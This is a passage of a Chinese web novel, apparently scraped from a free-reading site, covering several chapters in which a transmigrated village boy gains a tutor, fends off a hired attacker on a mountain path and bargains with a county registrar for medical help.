对答明快,口齿清晰,李长发听的心中熨帖。 想这孩子总算是真明白事了,以前这王家媳妇儿的身体也不是没指望医好。他粗通些药理,过来看过好几回,也带过药来给她。 可王家媳妇儿每次都是张皇不安的忙碌着,三个娃儿也没一个正经能帮上忙的,全都要她里里外外的操持。 医嘱完全不放在心上,拿来的药她也吃一天丢个好几天,再加上饭食和休息都严重不足,这才一日日拖到这一步。 “对,娃儿你这样想就对了。你娘这身体一开始就是常见的受风体热,只是她一直没有丁点养病的空,过度的煎熬虚耗。不然的话,你家好歹再周转过一个秋天还是可以的。唉,多出个一年半载,说不定还能再有什么转还呢不是?” 李长发说着,把手里提的药包递给了王景禹,都是他家自种或者在山里采来调配的。 “这是清热宣肺的药,我加了些安神的酸枣仁,你娃儿懂事,这回可一定要给你娘日日煎来喝了,过几日我再来瞧。” 王景禹稍作犹豫,脑中快速回想着原身关于李长发的记忆。 他上辈子久病成医,也算是小半个行家,这几日看病症也能看出王母之病的根源在哪。 老村正所言不差。 解决了迫在眉睫的吃食后,他也正准备想办法去弄回对症的药来。 老村正的药,可以省了他不少功夫。 李长发过去曾掌东乡乡约,只不过如今乡约式微,已不是徒具一村村正虚名的李长发一人所能维持的。 但李长发家能在这个临南县东乡,维持住略略有余的生活水平,现今的那些头目也多会给李家面子,鲜少去无端苛难李家,也与李长发早年主持乡约时,积累下的德行名声有关。 而王家自从缺吃少药以来,这位老村正也是顶着自家压力给予了王家最多帮扶之人。 他知道李长发正在亲授孙子读书之事,鉴于自家在村里的状况,李长发若不登门,他暂时并无贸然搅扰的打算。 但眼下么,王景禹衣袖中的拇指食指轻轻捻动。 自己若能得这样一位有德行的老村正启蒙读书,倒不失为除了乡市所遇王姓读书人以外的另一条出路。 毕竟他现而今无人兜底,试错成本太高了,断不能够将鸡蛋都押在同一个篮子里。 王景禹心中苦笑,片刻间计议已定,他接过了李长发递过来的药包:“多谢村正爷。” 一时心中有感,王景禹不禁抱手躬身,真诚的朝李长发礼了一礼。 “乡约有云:凡同约者,德业相劝,过失相规,礼俗相交,患难相恤。老村正的患难相恤之义,小子记在心上了。” 李长发听他念起了乡约,却是一怔。 要说十几年前,乡约的内容,在十里八乡人人口孰能详,平常他们这些各村的村老们,都以乡约的内容为规,各家各户皆照此协助共济。 可现在,早已多年无人问津。 王家大哥儿这样十岁的娃儿,能背得出乡约要义,着实叫人意外。 “大哥儿怎么会背的乡约?” 王景禹道:“小子去东乡乡市,在小吊桥桥下的河岸里,见到过一块半埋进河水淤泥里的石碑,上刻了乡约要义和咱们东乡乡约的条文,小子偶然听到有人念诵过一次。” 李长发点点头:“那块碑,自圣祖皇帝开元十年时就立下了,已有一百多年。只不过,现如今早已成了一块毫无用处的破石头啦!” 李长发不打算同他一个娃儿多谈旧时旧事,转而问道:“家里最近可还遇到过什么事?” 他亲眼看到了王家大哥儿的转变,倒是很想知道促使哥儿这样快速转了性的,会是什么因由。 对此王景禹想过说辞,只不过他方才有了新的计议,那说法也要换一换了。< 7. 第七章 《人上人获取指南(科举)》全本免费阅读 李长发欣喜之余,又一声长叹:“可这么好的娃,怎么偏偏就如此命苦呢!” 即便他们家如今是村里日子过得最好的,可王景禹这一家可是四口的病患和幼童。他年龄大了,身体也不好,已经不是家事农事的主力。让他说动自家的儿子和儿媳,将王景禹这一家彻底帮扶起来,他也是有心无力。 再像以往乡约的条法,去规劝约内之民互助救济,他也不是没试过。 更不要说,他如今看到这孩子这么好的底子,还生了让他读书的念头。 供起一个孩子去读书,对农人来说,那可是笔巨大的花销! 他们家辛苦劳作了两代人,没遇到过大的天灾人祸,没遇过大的苛难和挫折,这才能够供起一个有悟性些的孩子去读书。 帮扶亦有度,一旦做的出格了,失了度,那这村里,有难处的不止王家这一户,他又要如何帮?以及他有那个能力帮吗? 可这么好的苗子,甚至比他自家的孙子都更有可能走出他们双满村、走出临南县,去大的州府闯一闯。 就这样眼睁睁看着尚未长成的青松,就夭折在这山村里,实在是痛惜! 老村长连声嗟叹,不禁眼眶都湿了,自觉心中有愧,一时不愿直视面前的少年。 王景禹能想到老村正惋惜些什么,他也并不打算将一家子的生存命运强行拖济于老村正身上。 他宽慰李长发道:“村正爷,您自宽心些。小子听了这些道理,日日都想都念,只觉得若能早一日听到这些道理就太好了。在咱们双满村,属老村正您有学问,小子不奢求什么,就想着平日里,若得了空,能听听您讲书,跟着您学识几个字。哪怕能多读一句书里的道理,小子也就心满意足了!” 话到这里,老村长已是心潮澎湃,他扶着膝盖站了起来,难耐激动的拉着王景禹的一条手臂,轻轻拍抚。 “朝闻道夕死则矣!这想法上至老翁下至孩童皆可用,娃儿你竟比老汉我想的更通透。” “好!娃娃你啊,每日里只要有时间了就去我院里,我给你讲书,教你识字,只要你愿意学,我就教!” 王景禹欢喜道:“多谢村正爷!” 木栅门嘎吱一声,有个男孩探进半个身。 正是王景禹所穿越对象的堂弟,王二叔家小他一岁的石蛋。 老村正也已经站了起来,再次鼓励和嘱咐了王景禹,见是王二水家的娃主动来了这处院子,意外之余,顿时也用着此子尚可挽救的眼神看着石蛋。 “这娃儿也是不赖的。” 石蛋不明所以,但也连忙“嗳”的脆答,应了这有生命以来,老村正对他的第一夸。 目送着老村正出了院门拐远,石蛋一时有太多问题,只好捡最重要的先问。 “大哥儿,你…你们吃了吗?” 石蛋和他爹中午从地里回来歇晌,正吃着饭就听他娘讲了隔壁发生的事,当即就想过来看看。 只是一直寻不到空,到此时才悄悄地摸了过来。 王景禹一边继续他方才体操动作,一边冲石蛋点头:“嗯,吃了。” 石蛋听完松了口气,自个寻摸着老村正刚坐过的石墩处,一屁股坐下,看着不知道在做什么奇怪动作的王景禹。 “那什么,听说晌午你县上娘舅家来人了?没啥事吧?” 王景禹语气轻松的道:“没事儿,舅舅和舅母顾念我们,这不,特意差人来送吃的。” “他们会这么好心?!” 石蛋嗤之以鼻:“我可都听我娘说了,自从大伯出意外没了消息,他们可是不闻不问!这时候要把二丫二哥儿接走,要我说,到了他们那狼窝,命兴许是能活下了,可将来不定要怎么当牛做马呢!” 王景禹心道,这小堂弟虎是虎了点,脑子倒还灵光。 石蛋又突然乐了:“嘿!这么说,那些吃的还真让你给留下了?大哥儿你厉害啊,让他们偷鸡不成蚀把米,栽跌了个跟头回去!摊上这种亲戚,也真是够晦气……” 说到这里,他突然想到,自己家这门亲戚似乎也没好到哪去…… 一时间梗住了。 王景禹倒是完全不在意,做完了体操,笑道:“家里豆种都下完了?” “哪能啊。” 石蛋顺嘴接上话:“少说还得七八日。嗳,我刚才听你说,你要去老村正那里,和他孙子大锤一块儿识字读书?要我说,整那个有什么用,也不管吃不管喝的。” 三言两语间,王景禹已知他的性子,只暂时简单答:“读书自是有用的,你以后会知道。” 他上辈子这辈子,都好整洁,说话的功夫,准备趁着最后这点落日余晖,用那些收起的瓦片在灶间的地面上铺一铺,做饭时能少些地面扬尘。 石蛋见了,二话不说也跳了起来去搭帮手干活。 石蛋正干的欢实,只听院外他娘一声喊:“石蛋?石蛋?死哪去了?赶紧给我回来!” 他期期艾艾看了王景禹一眼,目光憋屈又幽怨,倒像这么叫喊他的人是王景禹似的。 王景禹好笑:“你娘叫你。” 石蛋磨蹭着不想走,打算着等他娘叫累了回院,他再多呆一会儿就出去。 可惜,他娘挺着大肚子,硬是立在自家院门处,一遍遍的叫喊,不见到他面,就不罢休。 石蛋无奈只好出了王景禹家门,十几米外的刘氏见了,立马提着音量数落起来。 是在骂石蛋,也是要旁人听:“你想死啊!今儿个好好的天气,不帮着你爹把明日的豆种捡出来,鸡圈也不清出来把粪沤上,我一个不注意你就溜出来了?赶什么新鲜呢?你别以为他今天给了那县上不靠谱的亲戚点教训,出了风头得了吃食,但那也是秋后的蚂蚱,蹦哒不了几天!” “他家要是能过了这个秋,我王刘氏第一个服了软。随便你再跟他怎么厮混!” 两处院子的院门距离十多米,但两家的院子只隔了一道一人多高的土墙,说话声都听的清清楚楚。 听着隔墙的中气十足的嗓音,王景禹都能想象出刘氏特意冲着自己家这个方向,亮着嗓子喊的样子。 石蛋不服,将他娘往屋里拉扯:“秋天?秋天咋了?真到秋天粮食不就打下来了嘛!” 刘氏恨铁不成钢,磨磨蹭蹭的继续骂:“收秋收秋,收了秋首先要缴的就是赋粮!他家那点地今年的收成,缴完了夏秋两轮赋,还能不能剩足来年的麦种都难说,还哪里够吃用的?今儿得了点吃食,又能管得了四口人几天?懂不懂?” “那咋 8. 第八章 《人上人获取指南(科举)》全本免费阅读 晨光出照,鸟报天晴。 王景禹卯时更落即起,冲调了少许淡盐水漱口,接着动手给一家人做了蛋花碎腊肉面疙瘩汤。 与连着幸福了两天的双胞胎崽和王母一起,美美的用过早饭,又熬好王母的药让她喝下。 他就再次背起了空背篓,出了院门向东,做好了准备进小峦山。 既然今日就要去那个王姓读书人所在的药铺,他打算先在浅山处巡看一遍,若能收获些草药或者山货,再加上香菇一起,争取来个一举两得。 要进山,王景禹首先要从村东的田径间穿过,此时大部分的田里都已经有人在一边除草松土,一边在小麦地里下套种的豆种。 与往日的无人理睬不同,今儿个在王景禹经过时,有人特意停下了手里的活,对路过的他表示了注目。 王景禹认出那是村南的边户安三嫂子,他微抿了唇角,脚下不停冲安三嫂子点了头算做招呼。 “大哥儿也进山啊!” 三嫂子见状忙把手里的锄头把从左手倒在了右手,支着身子招呼。 紧临着另一垄地里的安老三听到话声,抬头看了一眼,还未来得及说点什么,就被安李氏回瞪了过去:“看啥?说句话能掉你块肉咋的?” 安老三无奈骂了句:“这婆娘,简直说不得!你这垄快着点!” 安三嫂子不为所动,又回头看向背着背篓的王家大郎。 她是临州嫁过来的,小时候有一年大旱,家里的田没了收成,揭不开锅的时候,爹妈要把她卖给人伢子。好在人伢子才出了村还没走远,就被她大伯追上赎了回去,虽说过的也是吃了上顿没下顿的日子,但当时人伢子一嘴黄牙,夹着她喝斥不要哭闹,一手伸进她衣服里往下面掐的经历,到现在她都忘不了。 王家那对双胞胎,虽说倒不至于会卖到窑子那种地方,但就王家娘舅平日里的做派,这俩个崽也好不到哪去。 所以,昨天听说这王家大郎不仅没把弟弟妹妹给卖了去,还讹了那铁公鸡亲戚不少吃食,她是打心底高兴,为这孩子叫好。 在她看来,只要一家人在一起,齐心协力,哪怕真遇到过不去的难关了,那也是一家人整整齐齐。 这不,王家这就又能维持一阵子了不是吗? 这就不错。 王景禹也从原主的记忆里,了解安三嫂子曾经的经历。 知道这安三嫂子所在的安家,一大家子一直没分家,人丁多田产少,日子过的十分紧巴,钱粮都还在她公婆处。之前原主时不时的借银借粮,每回在安家公婆那里碰了壁,都亏得有安三嫂子求了情,才些许借了几次粮给他。 因此,安三嫂子视线又转过来时,王景禹笑着回应道:“对,进山呢。嫂子你先忙!” 安三嫂子本就只是招呼一声,得了应,冲着王景禹一笑,就继续干活了。 王景禹抬眼,望了望远处蜿蜒的山道和迷蒙着稀薄晨雾的小峦山。 安三嫂子说“也进山”,看来有人在他之前已经去了。 依着时节,眼下正是春播大豆下豆种的时候,家有田产的农户都要赶着时令除完春草,再把豆种下了。 这个时候,家里有田放着不管,还往山里跑,怕都是像他这样“不务正业”的。 走过安三嫂子家这片坡地,王景禹沿着田间小路,以及十里八村之人踏出的羊倘小径行了差不多三里路,穿过一片抽着嫩叶的榆树林,这才来到了山道上。 山道都是进出山里的人,日久天长踩出来的,道路状况自然好不到哪去。 他自己极其爱重这副叫他重获生命的身体,王家当前的情形,也容不得他再出什么差池。 因此王景禹留心感受着脚下每一步所踏地面的状况,一手握着一段榆木辅助探路和支撑,另一手随时抓握可以借力的草木枝丫,剩下的心神就全部打起精神,留意四周的环境。 满目新绿,红粉鹅黄。 高大的椴木,梧桐木,榆树,槐树,还有一些桦木,野生果木,这些森林木材矿产资源都是官产,百姓不得私采滥伐。 此时尚属早春,荒草还未繁盛,可视范围相对良好,距离山道百米范围的区域皆可辨认。 清凉的露水打湿了他扎紧的裤腿和鞋子,但很快他就有了收获。 第一个被他收入背篓中的,是一片早发的紫云英,眼下才入了春,山里野花遍地。但野花毕竟不是食物,因此一般情况下,不 9. 第九章 《人上人获取指南(科举)》全本免费阅读 脖颈被锁,王景禹稳住了心神,没有慌张。 他在那人箍上来的前一瞬,牢牢把住了身旁的树干,避免被此人一冲之下,带的滚下山道。 他也没有想方设法向后扭头以看清来人,又或者大力挣扎扭动,以图脱身。 王景禹抽出一手尝试掰了一下对方的手腕,这一探便确定自己与身后之人的力量之差,即使自己双臂使上十八分的力气,也不足以掰开手腕脱身。 他不再做任何无效的反抗,避免加快缺氧。 自己既然是背后受袭,勒住自己脖子的人,必然想要是趁自己不备突发袭击。 所以这个人要不然是本质胆小,要不就是即使面对一个十岁孩童,实力也不足以正面强发袭击,并且也必然是独自一人。 这些基本上都与自己预判的人选相符。 他松开掰着对方手腕的双手,聚起全身的力气一脚踩到身后人的破烂鞋面上。 身后之人吃了痛:“哎哟哎哟!” 旋即就手上更加使劲想要加快制住他,因此身体和头部也凑得更低更近了些。王景禹趁机双手反向身后,一手薅住对方头发,一手直接凭着方位判断,抽出他事先放在背篓里的尖头榆木树枝,往那人的眼睛处戳进去。 在树枝刚刚要触及到他的眼睛时候,那人就吓得大叫一声,猛地后退松开王景禹。结果因为本身跛脚,直接后跌在了地上。 王景禹握着树枝转身,当即看清了想要勒死自己的人。 果然,正是在那个住在双满村村头,日日都要到他家院门外徘徊踩点的牛二瘸子。 安三嫂子早间话中提到,还有另一个从双满村进山的人,王景禹当时就想到了他。 成功脱了身的王景禹站在山道一侧的一株楠木旁,经历了刚才的一番搏斗,他除了气息微喘以外,只冷淡戒备的瞧着坐在了地上的牛二。 他当然知道自己刚才踩得那一脚,顶多让牛二很是吃痛,筋骨出问题的概率不大,他手中的树枝也压根没有伤到牛二。 但牛二经他一吓就跌坐在地上,不思挣扎起身,捂着眼睛,一副魂不附体不敢看自己的模样。 王景禹见牛二情状,已基本放下了心,他抬手轻轻抹了把脖子。 嘶,还真疼! 唉,怎么自己穿个越,除了苦逼生存外,连这种野外逃生剧本都还要拿一拿? 王景禹表面仍做出极度戒备的样子,瞪视着牛二大声指责:“牛二,是你!你为什么要做这种夺人性命的事!?” 牛二仿佛是直到此时才神魂附体,意识到自己方才,的的确确是起了这样的心思。 他张了张口:“我……我……” 却后怕的浑身哆嗦起来,一句话也说不出来。 王景禹却不放过他,直视着他审问:“若是我没得脱身,你会如何做?现在这般窝囊得委顿在地,又是打的什么算盘?反正这山道上,我也跑不快,八成能遂了你的意,你怎么不继续了?你杀过人吗?我是你要杀的第几个人?” 从原主的记忆来看,这牛二在他家附近踩点不是一天两天了。 只是这牛二半年多以来,也只是日日徘徊打探,有没有在心里企盼他们一家快点死绝挪窝,他人不可得知,但也并没有做什么真正出格的事。 在王景禹穿来前,他们一家最困难的那个冬天,这个家已是经不得丝毫风吹雨打。如果牛二在那时候稍微用些坏心思,把他家棉被或棉衣湿了水,又或者把王母费尽力气种下的田偷偷掘开,断了她的最后希望,都可以让这个家彻底万劫不复。 他一个外来的无田无产的流民,连客户都算不上,在同样最难熬的寒冬都可以忍得下去,只是耐着性子日日来巡看。 在这个时候也没有理由,突然等不下去了。 他虽然从安三嫂子话里猜到牛二也于清早进了山,但对牛二突然发起的袭击还是有些意外。 显然,突然等不下去的还另有其人。 牛二见王家大郎脱了身,刚才那股好不容易聚起的狠劲也一瞬间全泄了。 听到王家大郎的质问,也没注意到他后来越来越明显的,与实际年龄不符的神情和语气,心中有愧,被王景禹一句又一句逼问的直要崩溃。 “不…不…我从没有杀过人!我从不害人!” “你从不害人?你当我此时还能信?你们一伙的其他人呢?他们害没害过?” 牛二彻底急了:“我真的,真的从没害过人!也从没有和我是一伙的人!我牛二也是农人家出身,自打记事起就跟着爹娘靠庄稼地过活,我们一家人,都是安分守己……安分守己啊!要不是淮水发了灾,把咱家的田都给淹了,爹娘在疫病里先后没了,我也瘸了腿,无处安置,带着妹妹一路流落到了这里……” 王景禹先前就有判断,知他压根儿没做这种事的胆量,此刻却无心听牛二诉说身世,他打断牛二。 “所以,到底是谁,使了什么手段,叫你来做这种事?” 牛二抬头偷瞄了一眼,嗫嚅着不敢说。 王景禹冷哼一声:“这就包庇上了!你还睁着眼骗我,说没有同伙?” “不是的……大郎你听我说。是刘满户,刘满户叫我来的,可我原是绝对不会听的!” 牛二内心的煎熬已快将他劈成了两半,此时根本就承受不住来自王家大郎的指责。 “平日里我就隔三岔五会受点他的吃食和旧衣,替他办些跑腿看问的事。这回他说,要是我办了这个事,将来他想办法把你家的院子更给我,还要给我置下二亩地,在县里替我和丫妹过了户。我……我就有屋能住,有田可耕了……我也是老实本分的庄户人家出身,田就是 10. 第十章 《人上人获取指南(科举)》全本免费阅读 “你过去地种的不错?”王景禹问他。 听到这句问,牛二总算泛起了些活气,下意识仰了仰头:“那是自然!在咱们东梁州千原县,论起田里那些事,我牛二若说第二,第一必然就是我家的牛爹!年年夏秋两季,咱家每亩地的收成,总要比其他乡亲们多出两成!” “好。你丫妹得的什么病,有什么症状?” 话题又直转到自家妹妹的病上,牛二一个猛刹车咽了咽口水。 关于丫妹的事,他恨不得全说个清楚:“丫妹今年十五,七八日前她在山溪边洗衣,不小心跌进了溪水里,一路吹着冷风,回去就着了凉,元四…就是收留她的山户,去采了些清热的草药,给她煎了吃,可这些天下来也不见好,咳嗽一日重过一日,今早我再去看,已经烧的浑身无力喘不上气,时不时就昏过去说胡话……” 王景禹大概知道了。 所以还是风寒感冒,只不过牛二妹妹年龄不大,体质应该也比较差,抵抗力不行,然后恶化成了肺炎。倒是和王母的病症是一个根,只不过牛二妹妹既然已成了肺炎,不抓紧医治的确凶险。 他今日采到的鱼腥草、金银花倒是清热的草药,但牛二和山户们必是也可以采到,也试用过了。 这样的急性肺炎,须得用抗生素。 可这个时代,又哪里来的头孢或者青霉素?他在现代倒是知道青霉素的提取原理,只是就算用最简易的办法,也要半个月以上,还不一定能成,牛二的妹妹怕是等不了。 眼下,还是要先靠中草药来抗。 王景禹盘算了下,老村正他是不能再去麻烦的,自己兜里还有十五文钱,问牛二:“乡里或者县里的医馆在哪,你可知道?” “知道,县里的镇台前街上。” 王景禹想起了他的读书人主顾,问:“药铺?” 牛二答道:“对,药铺,也有大夫坐堂看病。可是,那看病的花费……” “带路走吧,我有办法。” 王景禹说完,当先就走了出去。 牛二一怔,当即单腿蹦了起来,溜溜的跟在了王景禹后面。 他不敢相信的想要再问一问,大郎方才那意思…… 王景禹却道:“有句话我要提前说清楚。我虽然也许能有办法给你妹妹请到医药,但却不能担保一定能医好。” “这个道理我懂!” 牛二不再怀疑,忙道:“成还是不成,那……那也是丫妹的命……” 他今天做出了这样的事,可王家大郎竟还要帮他想办法医治丫妹,牛二此时一颗心七上八下,说不清究竟是个什么滋味。 兀自滚来滚去,只恨不得把整颗心都掏出来全给了他。 “大郎,我牛二不是东西,我、我受刘满户支使,这半年里天天都在双满村溜达,把村里大大小小的事同他报告叙说,尤其是你家的情况……” 王景禹打断他:“这些我知道了。” 又道:“今日之事,你可知我若是告了官,你是个什么下场?” 牛二神色瞬间又灰败下来,一时并不答话,缓了缓恳求道:“大郎,今日的事是我牛二黑心肝,起了恶念,是我牛二对不住你!要不是你机灵,我牛二怕就得下地狱了……如果你真要告官,那、那我也认了。我一个庄稼人,没了地,那是彻底断了根,要是丫妹再有个三长两短,这成日飘飘荡荡的日子,也实在过不下去了。” 牛二:“你心那么的善,竟然还肯帮我,替我那丫妹去寻个路子,无论请不请得到医药,能不能把丫妹的病治好,我牛二都记着你的情!下辈子,愿意当牛做马的来还你!” 王景禹手一撑着榆木下山,侧头看了他一眼。 “用不着下辈子。” “等你妹妹的病事一了,从今往后,就把我家十八里坡那二亩花淤地,给耕好了。” 听了王景禹的话,牛二不可置信的停在了山道上,看着前方少年单薄的背影。 “你……你让我去耕你家的地?” “收成都是我的,不管吃不管住,有问题吗?”王景禹头也不回的道。 牛二不受控制的在山道上绊了一跤,再爬起来时总算回过了神:“没,没有!只要让我能重新种上地,能看着自己亲手种的庄稼从播种到收成,我牛二活着就有劲儿!” “好。” 得到这不出意料的回应,王景禹淡淡应了声,继续稳步下山。 牛二兴奋的直搓手,嘿嘿笑着跟在了王景禹身后,连瘸腿都比平常利索了几分。 “哥儿,大哥儿!来,叫牛二给你背着背篓吧!你还小,别累着,还要长身体哩!” 两人下了山,王景禹先回到家,把春笋拿出来就着泥放到草棚通风处存好,快速做了简单的午饭,把王母中午要喝的药分别准备好。 他自己吃饱了肚子,牛二也去十八里坡那片地巡看了一圈回来。 王景禹去院中草棚采了些新长好的香菇,两人这便往县里去了。 临南县县城位于西乡界内,但大抵还是在两乡的交界处不远,过了东乡小吊桥,再往前二里路便到了。 王景禹一路走一路看,县城比着东乡乡市附近那些零星的村坊村店就热闹多了,聚集了临南县所有大多数的富裕人家,各类商店铺面也比较齐全。 虽是第一次来,但因着有事要办,王景禹并未多看,和牛二直接到了镇台前街的药铺前。 一抬眼,只见大开着铺面的药铺板门上头,挂着个牌匾,上书“廖家药铺”四个大字。 他那个香菇主顾姓王,这药铺倒是姓“廖”。 大堂里一面是大大小小顺墙排列,直到屋顶的药斗子,另外半面则支了两个看诊的 11. 第十一章 《人上人获取指南(科举)》全本免费阅读 只不过,虽然东家是夫人,但面前农家子口中所说的人,却应该是夫人家里的老爷,也是临南县的现任主簿。 他们临南县按县制,县官应该有两位:知县、主簿。 但临南县这么个偏远下县,主官知县时常更调,甚至多半时间吏部的敕牒,已经由州衙发到了县衙,主官却因为各种事由耽搁着,久不到任,直至再调他任。 因此基本上可以说,临南县实际在任的县衙主官只有主簿这一个。 只不过到底他名头上还有个未到任的知县,主簿老爷日常处事并不高调,县里不识得他的乡民郭户还是大有人在。 若无人告知,这才刚十岁农家子显然是不可能知道自家老爷同这药铺的关系,更无从得知老爷形貌。 只怕他所说这香菇的事,还真有些缘由在里头。 所以,掌柜的说完刚才那句话,就招呼跑堂伙计:“带他俩到后堂坐会,然后你去请问下夫人和老爷。” “嗳!” 那伙计应了,客气请王景禹两人进后堂,还拿了些茶水和一碟绿豆糕待客。 临走前,王景禹叫住伙计:“若你们东家日理万机,实在不得空来,烦请转告,就说我想用后面两个月的香菇份例钱,换今日你们铺里的大夫随我进趟小峦山,替一位女娘子看诊用药。” 王景禹观察着伙计古怪的神情,又道:“当然,你们这是药铺,若是咱们在山里采到些草药,也第一个送你们这处来兑!” 伙计听了好笑:“临南县上下,统共就咱这一家药铺,你那草药若想有个正经出兑,不都得来我们这里问收价嘛!” 言下之意就是,我们缺你这一个啊? 你这跟老爷谈的什么香菇生意,都还不知道成不成呢,立马就想再攀上一个新的。 还说的一副我们占了便宜的样子,这乡里的小子…… 真是不知道该说他傻,还是说他精! 伙计走了以后,牛二先是没忍住,把盘子里的绿豆糕吃了四块,又连带杯中茶叶的一起吞嚼干净,喝完了一盅茶。 他太饿了,今天从早上到现在,还粒米未进。 这一盘子绿豆糕,一共也就十多块,他就是一口气全吃光也不在话下,但他还是使劲克制住了。 问王景禹:“大哥儿,你饿了没,要不要吃些?” 王景禹中午吃饱了,暂时还不饿,便摇了摇头。 牛二咽了咽口水,对他说:“那……那我给你包起来,拿家吃去。” 见王景禹没说话,他倒也只抠了抠手就站一边了,没真的动手打包。 正经的椅子他已经太久没坐,就抄着手站在王景禹身旁。 不安半晌,他又局促的问:“大哥儿,你说,他们东家能同意咱的条件嘛?要是他不同意怎么办?” 王景禹端起茶盏:“不同意咱们再想办法。” 这种古式的茶碗喝茶,他曾经也喝过,因此倒不陌生。午饭过后,他和牛二徒步走了将近一个时辰来到县里,着实有些口渴了。 他一手执着盏托,一手用茶盖一点点撇开漂浮的茶叶,再小口啜饮。 茶一入口,王景禹微微蹙眉。伙计给他们沏的应是最普通的蒸青散茶,茶汤青绿,但到底王景禹上辈子习惯已成,既是饮茶,就稳着身子不慌不忙。 这时,王景禹注意到,后堂的侧门处,一扇靛青绢布门帘掀起,有人跨过门槛迈了进来。 与乡市那日所见不同,来人今日穿着圆领宽袖襕衫,束发裹青色软巾。不似当日着粗布直裰时,那般外显的读书人气质。也不知是不是环境变了,没有了人声鼎沸民生百态的乡市衬托,眼前这人也显得淡漠疏离了许多。 来人正是王景禹的香菇主顾,临南县现任主簿,王端。 他进来的时候,刚好看到王景禹在喝茶,以及看到自己后轻巧的盖好茶盏放回桌案上。 不紧不慢,没有刺耳的杯盏桌面磕碰的叮当声响。 王主簿一笑,今日刚巧他来了药铺,原本他是不打算轻易在这里出面见什么人的,准备让跑堂替他回了话便了。 但不知怎的,又觉心下略痒。 此时的他便知道,自己临时起意亲自来这一趟,还是会让他有点什么收获的。 王景禹见他进来,也起身简单行了礼。 王端态度倒是很随和,对他笑道:“昨日你在集市上说明日来送,因此我还未曾嘱咐他们这件事,倒没想到你今日便到了。” 王景禹很理解的样子:“那是那是。” 对方态度很随便也很直接,王景禹便也不拐弯:“昨日小子同您讲定的定时供菇子,当时并未提及钱货交契的方式,所以才想着来与您商议商议。” “哦?这倒是。那你想怎么交契呢?”王主薄问。 王景禹心里清楚,自己那点香菇对于面前的人根本无足轻重。 他肯一次高价买香菇,又肯当面见他,自然是因为点别的什么。 今日与他的二次相见,王景禹隐隐预感到,怕是会同自己预想的局面有偏 12. 第十二章 《人上人获取指南(科举)》全本免费阅读 王景禹轻轻挣开了牛二的拉拽:“我同意。” “大哥儿!”牛二慌忙喊。 他还要说什么,就被王景禹打断了:“不要慌,我知道。” 王景禹又琢磨琢磨问道:“不过,不知店里的伙计有没有转告,日后我们若是有采到草药,可否来这处兑?” 王主簿站起身:“可以。只要是你们拿来的,店里都根据药草的成色按市价收兑。如果你真能守约应诺,届时你还可以提出一个请求,若是我能办得又不违背公序良俗,皆可为你办了。如何?” 既如此,王景禹再没了顾虑,对这额外的赌注更是满意。 他痛快的在二人约定内容的字据上按了手印,今儿的事就算成了。 王主簿也不再多留,把掌柜叫过来嘱咐过后,就掀帘离开了。 那掌柜的得了老爷的嘱咐,又眼见老爷对这农家少年显不一般的态度,也恭敬了起来。 请二人到了大堂,亲自叫了空着的那位坐堂大夫:“老爷方才亲自交代下来,你带上全备些的药箱,随这位少年去小峦山内,替一个女娘子看诊。老爷说了,要你尽力照料医治,药草什么的也不必省用,缺什么再使人回来取。” 被叫来的坐堂大夫甚是诧异。 出诊倒是常事,但一般都是大户人家才能请得起他们。 今日可好,请他去看的竟是住在山里的山民。 谁不知道,山里的山户都是些没有正经户口的逃户,官府不派衙役去抓他们归案就不错了,还能这般安排去诊病用药? 听掌柜这嘱咐,竟是叫他去山里医治照料,直至病人的病情稳定好转方算了。 这等待遇,就是大户人家,都显少如此。 眼前这衣衫破旧,明显营养不良的少年,到底有什么特别的? 纳闷归纳闷,既然是老爷亲自交代的,他也不敢怠慢,收拾了药箱和简单的行囊,就准备跟着两人走了。 牛二早已忧喜两重天,忐忑和惊喜之下直想绕着王景禹一圈圈的打转儿,总要替他做点什么。 可王景禹云淡风轻的,没什么要他担心,这时也不需要他做什么。 只好默默的,从王家的二亩地,到王家小院的灶间院墙、漏风的窗户、堆倒的石磨,再到砍柴挑水的力气活,今后怎么帮着大郎整治,都挨个盘算了遍! · 双满村近日出了件新鲜事。 半年来,日日在他们双满村村头游荡的牛二瘸子,开始扛着农具,来到王家大郎十八里坡的二亩花淤地上,早出晚归的操持起了农活。 只要下了地,很少有人会耽误农活停下来唠闲话的村民们,不由得在路过这块地时,三三两两的停下来,看着地里卖力的牛二,互相探问着,却也没人知道是怎么回事。 王二水第一个按捺不住,第二天就在地头上把运绿肥的架子车停下,高声喊道:“二瘸子,你在我大哥家的地里瞎胡搞个啥?” 牛二余光一瞟,看清了来人,“嘿哟!还能干啥?大郎雇我给他种庄稼哩!” “就你,还会种什么庄稼……不是,大郎他,他''雇''你种地?” “是哩!” 这下,另外几个听到话声的村民也热闹开了。 日头可真是打西边出来啦!王老大一家还能雇人种地? 别说他们双满村多少年没谁还能雇得起人,都是靠着自家的人丁拼了命的干。就是整个东乡的十里八村,能雇的起外人给种地的农户,一只手都数的过来! 王二水又问:“大郎他拿啥雇你?” 说到这,牛二可得认真答,他总不能说是任劳任怨分文不取吧,那以前他咋不给别的家户不计酬劳的干。 “管吃管住,大郎人可好嘞!” 牛二应道,前半句是诌的,下半句倒是他的真真心里话。 大郎人好,他要永远记着这恩。现如今,就是叫他把自己亲手剁了给大郎去卖肉,他都没二话。 听了这话,王二水惊异更甚,一时心潮起伏,最终只道:“真是瞎胡闹!好不容易有了点吃食,就这般抛洒吗?” 村里其他人,此时同样是这样的看法。 双满村竟然有人雇人种地了,这事是新鲜,可雇人的却是王大郎家,这新鲜可就成了令人笑不出来的乡间笑话了。 但好歹都是一个村的,家家户户的孩子都是从光腚看着长大的,有人唏嘘后,对王二水道:“王二水,这好歹也是你亲大侄亲嫂子。咱听说他家那些吃食,都是镇上人家吃的细面,要是拿了去集上换成黄米小豆,可一下就能多出来不少!王嫂子……哎,王嫂子咱先不提。这三个娃儿要是无灾无病,加上小峦山的山货或者峦河的捞些鱼货,好歹还是能维持到秋后的。” 这人开了口,便有村民附和起来。 当着众人,王二水也不好推脱,但想着只是去说几句话,也不消耗啥自己家的银粮,就算石蛋他娘发现了,也无甚紧要,当下点头应了。 他琢磨着,近来这个侄子眼看着醒事了不少,又得了三两个月的转圜,说实在的,他心里也松了口气。 只要还有盼头,他也望着大哥这一家媳妇孩子能活下来。 当下心中也下了决定,不管怎样,他作为亲二叔,今晚上也要再去劝说他这个侄子一回。 晚间罢了饭,王二水拾掇了锅碗,又把水缸挑满水,按着织机旁纺麻布的刘氏指点,修理了几处门窗院墙。 直到天光黑了透,再也做不得什么耗眼力的活儿,这才嘱咐石蛋照看着点身怀六甲的刘氏,自己找了去李家借犁耙的由头出了门。 